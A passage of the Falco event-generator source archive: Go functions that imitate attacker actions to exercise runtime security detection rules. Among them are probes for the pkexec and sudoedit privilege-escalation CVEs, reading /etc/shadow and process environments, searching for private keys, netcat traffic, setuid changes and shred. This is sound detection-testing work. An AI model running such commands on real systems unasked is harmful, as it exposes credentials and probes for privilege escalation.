func PolkitLocalPrivilegeEscalationVulnerabilityCVE20214034(h events.Helper) error {
	pkexec, err := exec.LookPath("pkexec")
	if err != nil {
		// if we don't have a pkexec, just bail
		return &events.ErrSkipped{
			Reason: "pkexec executable file not found in $PATH",
		}
	}

	// run pkexec as non-root user and without arguments
	err = runAsUser(h, "daemon", pkexec)

	// silently ignore the "exit status 127: Refusing to render service to dead parents" error
	// we need to unwrap the error to get the exit code
	unerr := errors.Unwrap(err)
	if unerr == nil {
		unerr = err
	}
	if ee, ok := unerr.(*exec.ExitError); ok && ee.ProcessState.ExitCode() == 127 {
		return &events.ErrSkipped{
			Reason: "pkexec execution failed with exit code 127 (might be ok) - probably patched and not vulnerable to CVE-2021-4034",
		}
	}

	return err
}
07070100000068000081A400000000000000000000000166F189F10000055F000000000000000000000000000000000000007500000000falco-event-generator-0.12.0/events/syscall/potential_local_privilege_escalation_via_environment_variables_misuse.go//go:build linux
// +build linux

// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"fmt"
	"os"
	"os/exec"
	"strings"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	PotentialLocalPrivilegeEscalationViaEnvironmentVariablesMisuse,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func PotentialLocalPrivilegeEscalationViaEnvironmentVariablesMisuse(h events.Helper) error {
	// Set the GLIBC_TUNABLES environment variable
	cmd := exec.Command("sh", "-c", "id")
	cmd.Env = append(os.Environ(), "GLIBC_TUNABLES=glibc.tune.hwcaps=-WAITED,glibc.tune.secrets=2")

	if out, err := cmd.CombinedOutput(); err != nil {
		return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
	}

	return nil
}
07070100000069000081A400000000000000000000000166F189F1000004D3000000000000000000000000000000000000005A00000000falco-event-generator-0.12.0/events/syscall/program_run_with_disallowed_http_proxy_env.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"os"
	"os/exec"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	ProgramRunWithDisallowedHttpProxyEnv,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func ProgramRunWithDisallowedHttpProxyEnv(h events.Helper) error {
	curl, err := exec.LookPath("curl")
	if err != nil {
		return &events.ErrSkipped{
			Reason: "curl executable file not found in $PATH",
		}
	}

	cmd := exec.Command(curl, "http://example.com")
	cmd.Env = append(os.Environ(), "HTTP_PROXY=http://my.http.proxy.com ")
	return cmd.Run()
}
0707010000006A000081A400000000000000000000000166F189F100000574000000000000000000000000000000000000004900000000falco-event-generator-0.12.0/events/syscall/ptrace_anti_debug_attempt.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"os/exec"
	"syscall"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(PtraceAntiDebugAttempt)

func PtraceAntiDebugAttempt(h events.Helper) error {
	// start a dummy process which sleeps for 1hr
	cmd := exec.Command("sleep", "3600")
	cmd.SysProcAttr = &syscall.SysProcAttr{
		Ptrace: true, // This is equivalent to calling PTRACE_TRACEME in the child
	}
	if err := cmd.Start(); err != nil {
		h.Log().WithError(err).Error("failed to start dummy process")
		return err
	}

	// kill the dummy process
	defer func() {
		if err := cmd.Process.Kill(); err != nil {
			h.Log().WithError(err).Error("failed to kill dummy process")
		}
		// wait for the dummy process to exit, to avoid creating a zombie
		_ = cmd.Wait()
	}()

	return nil
}
0707010000006B000081A400000000000000000000000166F189F1000005DA000000000000000000000000000000000000004A00000000falco-event-generator-0.12.0/events/syscall/ptrace_attached_to_process.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"os/exec"
	"syscall"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(PtraceAttachedToProcess)

func PtraceAttachedToProcess(h events.Helper) error {
	// start a dummy process which sleeps for 1hr
	cmd := exec.Command("sleep", "3600")
	if err := cmd.Start(); err != nil {
		return err
	}
	pid := cmd.Process.Pid

	defer func() {
		// try to detach the dummy process (may fail)
		if err := syscall.PtraceDetach(pid); err != nil {
			h.Log().WithError(err).Debug("failed to detach dummy process (might be ok)")
		}

		// kill the dummy process
		if err := cmd.Process.Kill(); err != nil {
			h.Log().WithError(err).Error("failed to kill dummy process")
		}
		// wait for the dummy process to exit, to avoid creating a zombie
		_ = cmd.Wait()
	}()

	// attach to the target process using PTRACE_ATTACH
	return syscall.PtraceAttach(pid)
}
0707010000006C000081A400000000000000000000000166F189F1000004E2000000000000000000000000000000000000005900000000falco-event-generator-0.12.0/events/syscall/read_environment_variable_from_proc_files.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package syscall

import (
	"fmt"
	"os/exec"
	"strings"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	ReadEnvironmentVariableFromProcFiles,
	events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action
)

func ReadEnvironmentVariableFromProcFiles(h events.Helper) error {
	if !h.InContainer() {
		return &events.ErrSkipped{
			Reason: "only applicable to containers",
		}
	}

	cmd := exec.Command("cat", "/proc/self/environ")
	if out, err := cmd.CombinedOutput(); err != nil {
		return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
	}

	return nil
}
0707010000006D000081A400000000000000000000000166F189F1000003E2000000000000000000000000000000000000005900000000falco-event-generator-0.12.0/events/syscall/read_sensitive_file_trusted_after_startup.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(ReadSensitiveFileTrustedAfterStartup)

func ReadSensitiveFileTrustedAfterStartup(h events.Helper) error {
	// for the event to be triggered, the new process must run for at least 5 seconds
	return h.SpawnAsWithSymlink("httpd", "syscall.ReadSensitiveFileUntrusted", "--sleep", "6s")
}
0707010000006E000081A400000000000000000000000166F189F1000003FC000000000000000000000000000000000000004D00000000falco-event-generator-0.12.0/events/syscall/read_sensitive_file_untrusted.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"os"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(ReadSensitiveFileUntrusted)

func ReadSensitiveFileUntrusted(h events.Helper) error {
	file, err := os.Open("/etc/shadow")
	if err != nil {
		return err
	}
	defer func() {
		if err := file.Close(); err != nil {
			h.Log().WithError(err).Error("failed to close /etc/shadow file")
		}
	}()

	return nil
}
0707010000006F000081A400000000000000000000000166F189F1000006C9000000000000000000000000000000000000004D00000000falco-event-generator-0.12.0/events/syscall/read_shell_configuration_file.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"os"
	"path/filepath"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	ReadShellConfigurationFile,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func ReadShellConfigurationFile(h events.Helper) error {
	// create a unique temp directory
	tmpDir, err := os.MkdirTemp("", "falco-event-generator-syscall-ReadShellConfigurationFile-")
	if err != nil {
		return err
	}
	defer func() {
		if err := os.RemoveAll(tmpDir); err != nil {
			h.Log().WithError(err).Error("failed to remove temp directory")
		}
	}()

	shellrc := filepath.Join(tmpDir, ".bashrc")

	// create a dummy shell configuration file
	file, err := os.Create(shellrc)
	if err != nil {
		return err
	}
	if err := file.Close(); err != nil {
		h.Log().WithError(err).Error("failed to close temp file")
	}

	// open the file to trigger the rule
	file, err = os.Open(shellrc)
	if err != nil {
		return err
	}
	defer func() {
		if err := file.Close(); err != nil {
			h.Log().WithError(err).Error("failed to close temp file")
		}
	}()

	return nil
}
07070100000070000081A400000000000000000000000166F189F100000503000000000000000000000000000000000000004400000000falco-event-generator-0.12.0/events/syscall/read_ssh_information.go//go:build linux
// +build linux

// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"path/filepath"

	"github.com/falcosecurity/event-generator/events"

	"os"
)

var _ = events.Register(
	ReadSshInformation,
	events.WithDisabled(), // the rule is not enabled by default, so disable the action too
)

func ReadSshInformation(h events.Helper) error {
	// create .ssh directory inside tempDirectory
	sshDir, cleanup, err := createSshDirectoryUnderHome(h)
	if err != nil {
		return err
	}
	defer cleanup()

	// creating a dummy known_hosts file is enough to trigger the rule
	filename := filepath.Join(sshDir, "known_hosts")
	if _, err := os.Create(filename); err != nil {
		return err
	}

	return nil
}
07070100000071000081A400000000000000000000000166F189F1000005E3000000000000000000000000000000000000004A00000000falco-event-generator-0.12.0/events/syscall/remove_bulk_data_from_disk.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"fmt"
	"os"
	"os/exec"
	"strings"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(RemoveBulkDataFromDisk)

func RemoveBulkDataFromDisk(h events.Helper) error {
	shred, err := exec.LookPath("shred")
	if err != nil {
		// if we don't have a shred, just bail
		return &events.ErrSkipped{
			Reason: "shred executable file not found in $PATH",
		}
	}

	// create a unique file under temp directory
	file, err := os.CreateTemp("", "falco-event-generator-syscall-RemoveBulkDataFromDisk-")
	if err != nil {
		return err
	}

	if err := os.WriteFile(file.Name(), []byte("bulk data content"), os.FileMode(0600)); err != nil {
		return err
	}

	// shred the file content
	cmd := exec.Command(shred, "-u", file.Name())
	if out, err := cmd.CombinedOutput(); err != nil {
		return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
	}

	return nil
}
07070100000072000081A400000000000000000000000166F189F100000381000000000000000000000000000000000000004300000000falco-event-generator-0.12.0/events/syscall/run_shell_untrusted.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"github.com/falcosecurity/event-generator/events"
	_ "github.com/falcosecurity/event-generator/events/helper"
)

var _ = events.Register(RunShellUntrusted)

func RunShellUntrusted(h events.Helper) error {
	return h.SpawnAsWithSymlink("httpd", "helper.RunShell")
}
07070100000073000081A400000000000000000000000166F189F1000005A0000000000000000000000000000000000000004200000000falco-event-generator-0.12.0/events/syscall/schedule_cron_jobs.go//go:build linux
// +build linux

// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"github.com/falcosecurity/event-generator/events"

	"os/exec"
)

var _ = events.Register(
	ScheduleCronJobs,
	events.WithDisabled(), // the rule is not enabled by default, so disable the action too
)

func ScheduleCronJobs(h events.Helper) error {
	crontab, err := exec.LookPath("crontab")
	if err != nil {
		// if we don't have a crontab, just bail
		return &events.ErrSkipped{
			Reason: "crontab executable file not found in $PATH",
		}
	}

	// this just lists crons, but enough to trigger the rule, so we ignore crontab exit code 1
	err = exec.Command(crontab, "-l").Run()
	if ee, ok := err.(*exec.ExitError); ok && ee.ProcessState.ExitCode() == 1 {
		h.Log().WithError(err).Debug("crontab command failed with exit code 1 (might be ok)")
		return nil
	}

	return err
}
07070100000074000081A400000000000000000000000166F189F1000004D3000000000000000000000000000000000000005000000000falco-event-generator-0.12.0/events/syscall/search_private_keys_or_passwords.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"fmt"
	"os"
	"os/exec"
	"strings"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(SearchPrivateKeysOrPasswords)

func SearchPrivateKeysOrPasswords(h events.Helper) error {
	find, err := exec.LookPath("find")
	if err != nil {
		// if we don't have a find, just bail
		return &events.ErrSkipped{
			Reason: "find executable file not found in $PATH",
		}
	}

	cmd := exec.Command(find, os.TempDir(), "-maxdepth", "1", "-iname", "id_rsa")
	if out, err := cmd.CombinedOutput(); err != nil {
		return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
	}

	return nil
}
07070100000075000081A400000000000000000000000166F189F1000005C6000000000000000000000000000000000000004800000000falco-event-generator-0.12.0/events/syscall/set_setuid_or_setgid_bit.go//go:build linux
// +build linux

// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"fmt"
	"os"
	"os/exec"
	"strings"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	SetSetuidOrSetgidBit,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func SetSetuidOrSetgidBit(h events.Helper) error {
	// create a unique file under temp directory
	file, err := os.CreateTemp("", "falco-event-generator-syscall-SetSetuidOrSetgidBit-")
	if err != nil {
		return err
	}
	defer func() {
		if err := os.Remove(file.Name()); err != nil {
			h.Log().WithError(err).Error("failed to remove temp file")
		}
	}()

	// set setuid bit
	cmd := exec.Command("chmod", "u+s", file.Name())
	if out, err := cmd.CombinedOutput(); err != nil {
		return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
	}

	return nil
}
07070100000076000081A400000000000000000000000166F189F1000006D0000000000000000000000000000000000000005200000000falco-event-generator-0.12.0/events/syscall/sudo_potential_privilege_escalaton.go//go:build linux
// +build linux

// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"errors"
	"os/exec"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	SudoPotentialPrivilegeEscalation,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func SudoPotentialPrivilegeEscalation(h events.Helper) error {
	sudoedit, err := exec.LookPath("sudoedit")
	if err != nil {
		// if we don't have a sudoedit, just bail
		return &events.ErrSkipped{
			Reason: "sudoedit executable file not found in $PATH",
		}
	}

	// note: executing the following command might fail, but enough to trigger the rule, so we ignore the exit code 1 error
	err = runAsUser(h, "daemon", sudoedit, "-u", "daemon", "-s", "ls\\")

	// we need to unwrap the error to get the exit code
	unerr := errors.Unwrap(err)
	if unerr == nil {
		unerr = err
	}
	if ee, ok := unerr.(*exec.ExitError); ok && ee.ProcessState.ExitCode() == 1 {
		return &events.ErrSkipped{
			Reason: "sudoedit command failed with exit code 1 (might be ok) - probably patched and not vulnerable to CVE-2021-3156",
		}
	}

	return err
}
07070100000077000081A400000000000000000000000166F189F100000410000000000000000000000000000000000000004D00000000falco-event-generator-0.12.0/events/syscall/system_procs_network_activity.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"github.com/falcosecurity/event-generator/events"
	_ "github.com/falcosecurity/event-generator/events/helper"
)

var _ = events.Register(
	SystemProcsNetworkActivity,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func SystemProcsNetworkActivity(h events.Helper) error {
	return h.SpawnAsWithSymlink("sha1sum", "helper.NetworkActivity")
}
07070100000078000081A400000000000000000000000166F189F1000004F0000000000000000000000000000000000000004700000000falco-event-generator-0.12.0/events/syscall/system_user_interactive.go//go:build linux
// +build linux

// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"errors"
	"os/exec"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(SystemUserInteractive)

func SystemUserInteractive(h events.Helper) error {
	err := runAsUser(h, "daemon", "/bin/login")

	// we need to unwrap the error to get the exit code
	unerr := errors.Unwrap(err)
	if unerr == nil {
		unerr = err
	}
	// silently ignore /bin/login exit code 1
	if ee, ok := unerr.(*exec.ExitError); ok && ee.ProcessState.ExitCode() == 1 {
		h.Log().WithError(err).Debug("login command run as user daemon failed with exit code 1 (might be ok)")
		return nil
	}

	return err
}
07070100000079000081A400000000000000000000000166F189F1000005AE000000000000000000000000000000000000004600000000falco-event-generator-0.12.0/events/syscall/unexpected_udp_traffic.go//go:build linux
// +build linux

// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"context"
	"os/exec"
	"time"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	UnexpectedUDPTraffic,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func UnexpectedUDPTraffic(h events.Helper) error {
	nc, err := exec.LookPath("nc")
	if err != nil {
		// if we don't have a netcat, just bail
		return &events.ErrSkipped{
			Reason: "netcat executable file not found in $PATH",
		}
	}

	// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
	if err := runCmd(context.Background(), 1*time.Second, nc, "-u", "example.com", "22"); err != nil {
		h.Log().WithError(err).Debug("failed to run nc command (this is expected)")
	}

	return nil
}
0707010000007A000081A400000000000000000000000166F189F10000060A000000000000000000000000000000000000007600000000falco-event-generator-0.12.0/events/syscall/unprivileged_delegation_of_page_faults_handling_to_a_userspace_process.go//go:build linux
// +build linux

// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"github.com/falcosecurity/event-generator/events"
	"golang.org/x/sys/unix"
)

var _ = events.Register(
	UnprivilegedDelegationOfPageFaultsHandlingToAUserspaceProcess,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func UnprivilegedDelegationOfPageFaultsHandlingToAUserspaceProcess(h events.Helper) error {
	// ensure the process is spawned, otherwise we might hit unexpected side effect issues with becameUser()
	if h.Spawned() {
		// to make user.uid != 0
		h.Log().Debug("setuid to something non-root")
		if err := becameUser(h, "daemon"); err != nil {
			return err
		}
		// attempt to create userfaultfd syscall is enough
		_, _, _ = unix.Syscall(unix.SYS_USERFAULTFD, 0, 0, 0)
		return nil
	}
	return h.SpawnAsWithSymlink("child", "syscall.UnprivilegedDelegationOfPageFaultsHandlingToAUserspaceProcess")
}
0707010000007B000081A400000000000000000000000166F189F100000439000000000000000000000000000000000000004200000000falco-event-generator-0.12.0/events/syscall/user_mgmt_binaries.go//go:build linux
// +build linux

// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	UserMgmtBinaries,
	events.WithDisabled(), // the rule is not enabled by default in falco_rules.yaml, so disable the action too
)

func UserMgmtBinaries(h events.Helper) error {
	if h.InContainer() {
		return &events.ErrSkipped{
			Reason: "not applicable to containers",
		}
	}

	return h.SpawnAsWithSymlink("vipw", "helper.ExecLs")
}
0707010000007C000081A400000000000000000000000166F189F1000004E6000000000000000000000000000000000000003500000000falco-event-generator-0.12.0/events/syscall/utils.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"context"
	"math/rand/v2"
	"os/exec"
	"time"
)

// randomString generates a random string of the given length.
func randomString(length int) string {
	const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

	bytes := make([]byte, length)

	for i := range bytes {
		bytes[i] = charset[rand.IntN(len(charset))]
	}

	return string(bytes)
}

// runCmd runs a command with a timeout.
func runCmd(ctx context.Context, timeout time.Duration, name string, args ...string) error {
	ctx, cancel := context.WithTimeout(ctx, timeout)
	defer cancel()

	return exec.CommandContext(ctx, name, args...).Run()
}
0707010000007D000081A400000000000000000000000166F189F100000E4B000000000000000000000000000000000000003B00000000falco-event-generator-0.12.0/events/syscall/utils_linux.go//go:build linux
// +build linux

// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2023 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"fmt"
	"os"
	"os/exec"
	"os/user"
	"path/filepath"
	"strconv"
	"strings"
	sys "syscall"

	"github.com/falcosecurity/event-generator/events"
	"golang.org/x/sys/unix"
)

// becameUser calls looks up the username UID then calls "setuid" syscall.
//
// IMPORTANT NOTE: the behavior is unpredicatable when used with goroutes.
// On linux, setuid only affects the current thread, not the process.
// Thus, becameUser may or not affect other goroutines.
func becameUser(h events.Helper, username string) error {
	h.Log().WithField("user", username).
		Infof("became %q", username)

	u, err := user.Lookup(username)
	if err != nil {
		return err
	}

	uid, err := strconv.Atoi(u.Uid)
	if err != nil {
		return err
	}

	h.Log().WithField("uid", sys.Getuid()).
		WithField("euid", sys.Geteuid()).Debug("pre setuid")

	uuid := uint(uid)
	_, _, errno := unix.RawSyscall(unix.SYS_SETUID, uintptr(uuid), 0, 0)

	h.Log().WithError(errno).
		WithField("uid", sys.Getuid()).
		WithField("euid", sys.Geteuid()).Debug("post setuid")

	if errno != 0 {
		return errno
	}
	return nil
}

func runAsUser(h events.Helper, username string, cmdName string, cmdArgs ...string) error {
	h.Log().WithField("user", username).
		WithField("cmdName", cmdName).
		WithField("cmdArgs", cmdArgs).
		Infof("run as %q", username)

	u, err := user.Lookup(username)
	if err != nil {
		return err
	}

	uid, err := strconv.Atoi(u.Uid)
	if err != nil {
		return err
	}

	gid, err := strconv.Atoi(u.Gid)
	if err != nil {
		return err
	}

	cmd := exec.Command(cmdName, cmdArgs...)
	cmd.SysProcAttr = &sys.SysProcAttr{}
	cmd.SysProcAttr.Credential = &sys.Credential{
		Uid: uint32(uid),
		Gid: uint32(gid),
	}

	// for easier debugging of errors, return the combined (stdout and stderr) output of the command execution
	if out, err := cmd.CombinedOutput(); err != nil {
		if o := strings.TrimSpace(string(out)); o != "" {
			// note: we might need to unwrap the error later on if we want to check the exit code
			// example: SystemUserInteractive event
			return fmt.Errorf("%w: %s", err, o)
		}
		return err
	}

	return nil
}

// createSshDirectoryUnderHome creates a temp directory under /home and .ssh directory inside it.
func createSshDirectoryUnderHome(h events.Helper) (string, func(), error) {
	// create a unique temp directory under /home
